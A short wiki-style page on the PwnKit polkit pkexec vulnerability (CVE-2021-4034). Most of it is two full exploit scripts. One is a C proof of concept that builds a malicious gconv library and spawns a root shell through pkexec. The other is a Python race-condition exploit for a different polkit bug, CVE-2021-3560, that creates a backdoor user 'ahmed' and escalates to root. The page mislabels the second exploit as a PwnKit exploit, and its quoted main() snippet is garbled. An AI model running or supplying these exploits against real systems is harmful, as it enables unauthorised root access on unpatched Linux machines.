
Pwnkit
Polkit or PolicyKit controls system-wide privileges and provides a way for non-privileged users to communicate with privileged ones. pkexec allows polkit to execute commands with escalated privileges, which is where a memory corruption bug dating back to 2009, was found in 2022.
The CVE-2021-4034 bug works on most Linux distributions that are not patched.
How it Works[edit]
Research regarding PwnKit can be found here: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
pkexec’s main() function processes command-line arguments, which searches for the program to be executed. If the path is not absolute, it checks directories of the PATH environment variable, which creates a pointer to the string and is written out-of-bounds if the name exists to envp[0]; This means that out-of-bounds write allows us to create an insecure environment variable into pkexec's environment, which is normally removed from SUID programs before main() is called:
main (int argc, char *argv[])
{
for (n = 1; n < (guint) argc; n++)
{
}
path = g_strdup (argv[n]);
if (path[0] != '/')
{
s = g_find_program_in_path (path);
argv[n] = path = s;
}
Below are two primary exploits that are known to work well:
The first is the original PoC
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
void fatal(char *f) {
perror(f);
exit(-1);
}
void compile_so() {
FILE *f = fopen("payload.c", "wb");
if (f == NULL) {
fatal("fopen");
}
char so_code[]=
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n"
"void gconv() {\n"
" return;\n"
"}\n"
"void gconv_init() {\n"
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" static char *a_argv[] = { \"sh\", NULL };\n"
" static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
" execve(\"/bin/sh\", a_argv, a_envp);\n"
" exit(0);\n"
"}\n";
fwrite(so_code, strlen(so_code), 1, f);
fclose(f);
system("gcc -o payload.so -shared -fPIC payload.c");
}
int main(int argc, char *argv[]) {
struct stat st;
char *a_argv[]={ NULL };
char *a_envp[]={
"lol",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=../LOL",
NULL
};
printf("[~] compile helper..\n");
compile_so();
if (stat("GCONV_PATH=.", &st) < 0) {
if(mkdir("GCONV_PATH=.", 0777) < 0) {
fatal("mkdir");
}
int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777);
if (fd < 0) {
fatal("open");
}
close(fd);
}
if (stat("lol", &st) < 0) {
if(mkdir("lol", 0777) < 0) {
fatal("mkdir");
}
FILE *fp = fopen("lol/gconv-modules", "wb");
if(fp == NULL) {
fatal("fopen");
}
fprintf(fp, "module UTF-8// INTERNAL ../payload 2\n");
fclose(fp);
}
printf("[~] maybe get shell now?\n");
execve("/usr/bin/pkexec", a_argv, a_envp);
}
import os
import sys
import time
import subprocess
import random
import pwd
print ("**************")
print("Exploit: Privilege escalation with polkit - CVE-2021-3560")
print("Exploit code written by Ahmad Almorabea @almorabea")
print("Original exploit author: Kevin Backhouse ")
print("For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/")
print ("**************")
print("[+] Starting the Exploit ")
time.sleep(3)
check = True
counter = 0
while check:
counter = counter +1
process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply','/org/freedesktop/Accounts','org.freedesktop.Accounts.CreateUser','string:ahmed','string:"Ahmad Almorabea','int32:1'])
try:
#print('1 - Running in process', process.pid)
Random = random.uniform(0.006,0.009)
process.wait(timeout=Random)
process.kill()
except subprocess.TimeoutExpired:
#print('Timed out - killing', process.pid)
process.kill()
user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8')
if user.find("uid") != -1:
print("[+] User Created with the name of ahmed")
print("[+] Timed out at: "+str(Random))
check =False
break
if counter > 2000:
print("[-] Couldn't add the user, try again it may work")
sys.exit(0)
for i in range(200):
#print(i)
uid = "/org/freedesktop/Accounts/User"+str(pwd.getpwnam('ahmed').pw_uid)
#In case you need to put a password un-comment the code below and put your password after string:yourpassword'
password = "string:"
#res = subprocess.run(['openssl', 'passwd','-5',password], stdout=subprocess.PIPE).stdout.decode('utf-8')
#password = f"string:{res.rstrip()}"
process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply',uid,'org.freedesktop.Accounts.User.SetPassword',password,'string:GoldenEye'])
try:
#print('1 - Running in process', process.pid)
Random = random.uniform(0.006,0.009)
process.wait(timeout=Random)
process.kill()
except subprocess.TimeoutExpired:
#print('Timed out - killing', process.pid)
process.kill()
print("[+] Timed out at: " + str(Random))
print("[+] Exploit Completed, Your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root ")
p = subprocess.call("(su ahmed -c 'sudo su')", shell=True)
Last updated